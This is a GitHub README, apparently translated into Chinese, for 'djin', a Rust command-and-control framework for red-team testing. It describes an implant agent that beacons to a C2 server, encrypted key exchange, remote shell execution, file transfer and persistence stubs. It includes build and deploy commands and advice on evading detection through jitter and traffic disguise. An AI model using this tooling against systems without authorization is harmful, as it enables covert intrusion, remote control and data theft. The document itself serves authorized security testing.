jennofrie/djin
GitHub: jennofrie/djin
一个基于 Rust 的极简命令与控制框架,为授权渗透测试提供加密通信、远程执行和文件传输等核心能力。
Stars: 1 | Forks: 0
## 概述
djin 是对原有 Python C2 框架在 Rust 上的完全重写,提供了原生性能、内存安全和现代异步架构。它遵循与生产级 C2 框架相同的操作端/服务端/代理端分离设计。
| 组件 | Crate | 角色 |
|-----------|-------|------|
| **TeamServer** | `djin-server` | HTTP 轮询监听器 (Axum) + 操作端 TCP 接口 |
| **Agent** | `djin-agent` | 跨平台轮询植入体 |
| **Common** | `djin-common` | 共享加密、协议类型和配置 |
## 架构
```
┌─────────────────────────────────────┐
│ djin TeamServer │
│ │
Operator │ ┌──────────────┐ ┌─────────────┐ │ Target
(netcat/ │ │ Operator │ │ HTTP C2 │ │ Machine
telnet) │ │ TCP Server │ │ Listener │ │
│ │ │ :50050 │ │ :8080 │ │ │
│ TCP + pwd │ │ │ │ (Axum) │ │ │
└──────────────┼─►│ - auth │ │ │◄─┼────────────┘
│ │ - interact │ │ - checkin │ │ HTTP POST
│ │ - tasks │ │ - tasks │ │ (AES-256-GCM)
│ │ │ │ - results │ │
│ └──────┬───────┘ └──────┬───────┘ │
│ │ │ │
│ └────────┬────────┘ │
│ │ │
│ ┌────────▼────────┐ │
│ │ Session Store │ │
│ │ (in-memory) │ │
│ │ │ │
│ │ - beacons │ │
│ │ - task queues │ │
│ │ - results │ │
│ │ - session keys │ │
│ └─────────────────┘ │
└─────────────────────────────────────┘
Key Exchange Flow:
──────────────────
1. Agent starts → requests server X25519 public key from /api/v1/pubkey
2. Agent generates ephemeral X25519 keypair
3. Agent computes shared secret via ECDH (agent_secret * server_public)
4. Shared secret → HKDF-SHA256 → AES-256-GCM session key
5. Agent sends its public key to server on check-in
6. Server computes same shared secret (server_secret * agent_public)
7. All subsequent traffic encrypted with AES-256-GCM (random 96-bit nonce per message)
```
## 功能特性
| 功能 | 描述 |
|---------|-------------|
| **X25519 + AES-256-GCM** | 使用临时 ECDH 密钥交换与认证加密。每个会话获取独立的密钥。 |
| **异步架构** | 基于 Tokio + Axum 构建,为所有组件提供高吞吐量的非阻塞 I/O。 |
| **抖动轮询** | 可配置的休眠间隔与基于百分比的抖动,以规避基于时间的检测。 |
| **多代理会话** | 服务端跟踪无限的并发轮询,并为每个会话提供独立的加密与任务队列。 |
| **操作端 TCP 接口** | 基于 TCP 的密码认证 CLI。支持多个操作端同时连接。 |
| **Shell 执行** | 在目标机器上运行任意命令,并捕获 stdout/stderr。 |
| **文件传输** | 从操作端向轮询端上传文件,或从轮询端向操作端下载文件。 |
| **系统侦察** | 主机名、IP、操作系统、架构、PID、用户、进程列表、目录列表。 |
| **运行时调优** | 无需重新部署代理即可调整休眠间隔和抖动百分比。 |
| **持久化存根** | 感知平台的持久化安装点(Run 键、systemd、LaunchAgent)。 |
| **截屏存根** | 用于特定平台屏幕截图集成的占位符。 |
| **流量伪装** | 可配置的 User-Agent、HTTP 标头和 URI 路径,以融入正常的 Web 流量。 |
| **跨平台** | 代理端原生支持编译至 Linux、macOS 和 Windows(x86_64 和 aarch64)。 |
| **单一二进制** | 每个组件均可编译为单个静态二进制文件,无运行时依赖。 |
## 快速开始
### 前置条件
- [Rust 工具链](https://rustup.rs/)(稳定版,1.75+)
### 构建
```
git clone https://github.com/jennofrie/djin.git
cd djin
cargo build --release --workspace
```
二进制文件位于 `target/release/` 中:
- `djin-server` -- TeamServer
- `djin-agent` -- 轮询植入体
### 启动 TeamServer
```
# 默认:HTTP 在 :8080,operator 在 :50050,密码 "djin"
./target/release/djin-server
# 自定义配置
./target/release/djin-server \
--host 0.0.0.0 \
--http-port 443 \
--op-port 50050 \
--password 'your-secure-password'
# 或者通过环境变量
DJIN_OP_PASSWORD='your-secure-password' ./target/release/djin-server
```
### 作为操作端连接
```
# 使用 netcat 或 telnet
nc 127.0.0.1 50050
# 出现提示时输入密码
```
### 部署 Agent
```
# 默认:连接到 http://127.0.0.1:8080
./target/release/djin-agent
# 自定义 C2 URL 和时间
DJIN_C2_URL='http://10.0.0.5:8080' \
DJIN_SLEEP=30 \
DJIN_JITTER=25 \
./target/release/djin-agent
```
### Agent 环境变量
| 变量 | 默认值 | 描述 |
|----------|---------|-------------|
| `DJIN_C2_URL` | `http://127.0.0.1:8080` | C2 服务器基础 URL |
| `DJIN_SLEEP` | `5` | 轮询间隔(秒) |
| `DJIN_JITTER` | `20` | 抖动百分比 (0-100) |
| `DJIN_USER_AGENT` | Chrome 124 UA | HTTP User-Agent 字符串 |
| `DJIN_MAX_RETRY` | `5` | 失败请求的最大重试次数 |
## 使用说明
### 操作端命令
```
beacons List active beacons
interact
Open beacon shell
listeners Show configured listeners
jobs Show pending tasks
results [n] Show last n results for beacon
kill Kill a beacon
clear Clear task queue for beacon
pubkey Print server public key
help This message
exit / quit Disconnect
```
### 轮询 Shell 命令
在进入 `interact ` 后:
```
shell Execute shell command
ps List processes
sysinfo System information
whoami Current user
hostname Hostname
pwd Current directory
ls [path] List directory
cd Change directory
upload Upload file to beacon
download Download file from beacon
screenshot Capture screen (stub)
sleep [jitter%] Adjust beacon timing
persist Install persistence (stub)
kill Kill this beacon
results [n] Show last n results
back / exit Return to main menu
```
## 协议
所有 C2 通信均使用带有 JSON 负载的 HTTP,并在密钥交换后进行加密:
| Endpoint | Method | 目的 |
|----------|--------|---------|
| `/api/v1/pubkey` | GET | 获取服务端 X25519 公钥 |
| `/api/v1/health` | POST | Agent 签入与密钥交换 |
| `/api/v1/update?id=` | GET | Agent 轮询待处理任务 |
| `/api/v1/submit` | POST | Agent 提交加密的任务结果 |
### 加密细节
- **密钥交换**:X25519 (Curve25519) 椭圆曲线 Diffie-Hellman
- **密钥派生**:HKDF-SHA256 及特定于应用程序的 info 字符串
- **对称加密**:使用随机 96-bit nonce 的 AES-256-GCM
- **传输格式**:`base64(nonce || ciphertext || tag)`
每个轮询会话都有一个通过全新 ECDH 交换派生出的独立 AES-256-GCM 密钥。前向保密由 Agent 的临时 X25519 密钥提供。
## 交叉编译
### Linux 目标(从 macOS 编译)
```
# 添加 target
rustup target add x86_64-unknown-linux-gnu
# 使用 cross 构建
cargo install cross
cross build --release --target x86_64-unknown-linux-gnu -p djin-agent
```
### Windows 目标(从 Linux/macOS 编译)
```
rustup target add x86_64-pc-windows-gnu
cross build --release --target x86_64-pc-windows-gnu -p djin-agent
```
## 项目结构
```
djin/
├── Cargo.toml # Workspace definition
├── djin-server/
│ └── src/
│ ├── main.rs # Entry point, CLI args, banner
│ ├── routes.rs # Axum HTTP routes (checkin, tasks, results)
│ ├── operator.rs # Operator TCP server + command handling
│ └── state.rs # In-memory session store
├── djin-agent/
│ └── src/
│ ├── main.rs # Entry point, config loading
│ ├── transport.rs # HTTP client, key exchange, beacon loop
│ └── commands.rs # Task dispatcher (shell, files, sysinfo)
├── djin-common/
│ └── src/
│ ├── lib.rs # Crate root
│ ├── crypto.rs # X25519 + AES-256-GCM + HKDF
│ └── protocol.rs # Shared types (Task, SysInfo, etc.)
├── assets/
│ └── banner.svg
├── CLAUDE.md
├── LICENSE
└── README.md
```
## 安全加固说明
在投入实际测试之前:
| 项目 | 默认值 | 建议 |
|------|---------|-------------|
| 操作端密码 | `djin` | 通过 `--password` 标志或 `DJIN_OP_PASSWORD` 环境变量进行设置 |
| 操作端传输层 | 明文 TCP | 使用 TLS 封装 (stunnel, socat, SSH 隧道) |
| HTTP 监听器 | HTTP 端口 :8080 | 部署在具有 TLS 终结的反向代理之后 |
| Agent User-Agent | Chrome 124 | 匹配目标网络的浏览器群体特征 |
| 轮询 URI | `/api/v1/...` | 在 agent 源码中自定义以融入目标环境 |
| 服务器绑定 | `0.0.0.0` | 使用 `--host` 将其限制在 VPN/隧道接口上 |
## 法律声明
本软件仅供**授权的安全测试**使用。使用本软件即表示您同意:
1. 您拥有测试目标系统的明确书面授权
2. 您不会将本软件用于未经授权的访问或恶意目的
3. 您对使用本软件的一切行为承担全部责任
4. 作者对因使用或滥用本软件造成的任何损害概不负责
## 作者
**Jennofrie Daguil**
## 许可证
djin 在 [MIT 许可证](LICENSE)下发布。标签:AES-256-GCM, Axum, C2框架, HTTP监听, IP 地址批量处理, Rust, TeamServer, tokio, X25519, 反取证, 可视化界面, 命令与控制, 安全学习资源, 安全评估, 异步编程, 恶意软件开发研究, 数据展示, 木马, 红队, 网络信息收集, 网络安全, 网络流量审计, 远控, 隐私保护